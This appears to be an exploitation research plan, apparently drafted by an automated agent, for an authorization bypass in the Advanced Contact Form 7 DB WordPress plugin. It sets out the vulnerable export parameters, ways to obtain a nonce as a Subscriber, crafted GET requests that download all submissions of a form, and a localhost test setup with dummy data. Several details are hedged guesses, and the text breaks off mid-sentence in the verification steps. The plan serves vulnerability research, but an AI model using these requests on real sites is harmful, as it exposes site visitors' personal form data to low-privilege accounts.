Exploitation Research Plan: CVE-2026-0814 - Advanced CF7 DB Export Authorization Bypass

1. Vulnerability Summary

The Advanced Contact Form 7 DB plugin (up to 2.0.9) contains a missing authorization vulnerability in the vsz_cf7_export_to_excel function. This function handles the logic for exporting form submissions into Excel format. While the plugin implements some capability checks for its admin menu pages, the specific function responsible for triggering the export lacks a current_user_can() check. Consequently, any authenticated user, including those with Subscriber-level permissions, can trigger the export process by sending a crafted request to the WordPress admin dashboard, leading to unauthorized data disclosure.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin.php (or any admin page like index.php, as the handler is likely hooked to admin_init).
• Trigger Parameter: vsz_cf7_export_excel (based on the name attribute of the submit button in contact_form_listing.php).
• Required Parameters:
  • cf7_id: The ID of the Contact Form 7 to export.
  • vsz_cf7_export_excel: Set to 1 or the button label Export Excel.
  • _wpnonce: (Potentially required) The nonce for the action vsz-cf7-action-nonce.
• Authentication: Authenticated (Subscriber+).
• Vulnerable Function: vsz_cf7_export_to_excel (likely located in admin/class-advanced-cf7-db-admin.php).

3. Code Flow

1. Request Reception: An authenticated user sends a GET or POST request to /wp-admin/ containing vsz_cf7_export_excel=1 and a valid cf7_id.
2. Hook Execution: The WordPress admin_init hook fires. The plugin registers vsz_cf7_export_to_excel to this hook (or a similar early-stage admin hook).
3. Missing Check: The function vsz_cf7_export_to_excel checks for the presence of the vsz_cf7_export_excel parameter but fails to verify if the current user has the manage_options capability or specific form view capabilities (cf7_db_form_view_[ID]).
4. Data Retrieval: The function retrieves all entries for the specified cf7_id from the database table (stored in VSZ_CF7_DATA_ENTRY_TABLE_NAME).
5. Response Generation: The plugin uses PhpOffice\PhpSpreadsheet to generate an .xlsx or .xls file and streams it to the user with appropriate headers (Content-Type: application/vnd.ms-excel).

4. Nonce Acquisition Strategy

The nonce vsz-cf7-action-nonce is generated in admin/partials/contact_form_listing.php. If the function verifies this nonce, a Subscriber must obtain it.

1. Check Common Exposure: Plugins often expose nonces via wp_localize_script. Check the source of /wp-admin/profile.php for a global JS variable (likely named vsz_cf7_db_admin_obj or similar).
2. Shortcode Method: The plugin uses shortcodes to display data. If a shortcode is placed on a page, it might enqueue scripts containing the nonce.
   • Check for shortcode registration: grep -r "add_shortcode" .
   • Create a page with the shortcode: wp post create --post_content='[cf7-db-display-ip]' ... (example from README).
3. Browser Extraction:
   • Navigate to /wp-admin/profile.php.
   • Use browser_eval to search for the nonce: browser_eval("window.vsz_cf7_db_admin_obj?.nonce || document.body.innerHTML.match(/vsz-cf7-action-nonce/)").

Note: In admin/partials/contact_form_listing.php, the code if(!wp_verify_nonce( $nonce, 'vsz-cf7-action-nonce')) appears to verify a nonce against itself immediately after creation, suggesting the developer may have implemented nonce checks incorrectly or not at all in the actual export handler.

5. Exploitation Strategy

Step 1: Identify a valid Form ID

Use WP-CLI to find an existing Contact Form 7 ID.
wp post list --post_type=wpcf7_contact_form --format=ids

Step 2: Trigger Export

As a Subscriber, attempt to download the Excel file.

Request:

GET /wp-admin/admin.php?vsz_cf7_export_excel=1&cf7_id=TARGET_FID HTTP/1.1
Host: localhost
Cookie: [Subscriber Cookies]

If the above fails with a 403 or redirect, try providing the nonce (if found):

GET /wp-admin/admin.php?vsz_cf7_export_excel=1&cf7_id=TARGET_FID&_wpnonce=NONCE_VALUE HTTP/1.1
Host: localhost
Cookie: [Subscriber Cookies]

6. Test Data Setup

1. Install Dependencies: Ensure Contact Form 7 and Advanced CF7 DB are active.
2. Create Form: wp post create --post_type=wpcf7_contact_form --post_title="Sensitive Leads" --post_status=publish. Let the ID be 123.
3. Inject Data: Manually insert a row into the database to simulate a form submission.

   wp db query "INSERT INTO wp_cf7_vdata (created) VALUES (NOW());"
   DATA_ID=$(wp db query "SELECT LAST_INSERT_ID();" --silent --skip-column-names)
   wp db query "INSERT INTO wp_cf7_vdata_entry (cf7_id, data_id, name, value) VALUES (123, $DATA_ID, 'your-name', 'Target User');"
   wp db query "INSERT INTO wp_cf7_vdata_entry (cf7_id, data_id, name, value) VALUES (123, $DATA_ID, 'your-email', 'target@example.com');"
   

4. Create Subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password.

7. Expected Results

• The server should respond with 200 OK.
• Content-Disposition header should contain attachment;filename=...excel....
• The response body should contain binary spreadsheet data.
• Parsing the response (or observing file size) should reveal the data injected in Step 6 ("Target User").

8. Verification Steps

1. Confirm Role: Use wp user get attacker to verify the user is only a Subscriber.
2. Validate Content: Save the response body to a file and check if it's a valid ZIP/Office document:
   file download.xlsx
3. Compare Permissions: Attempt the same request without being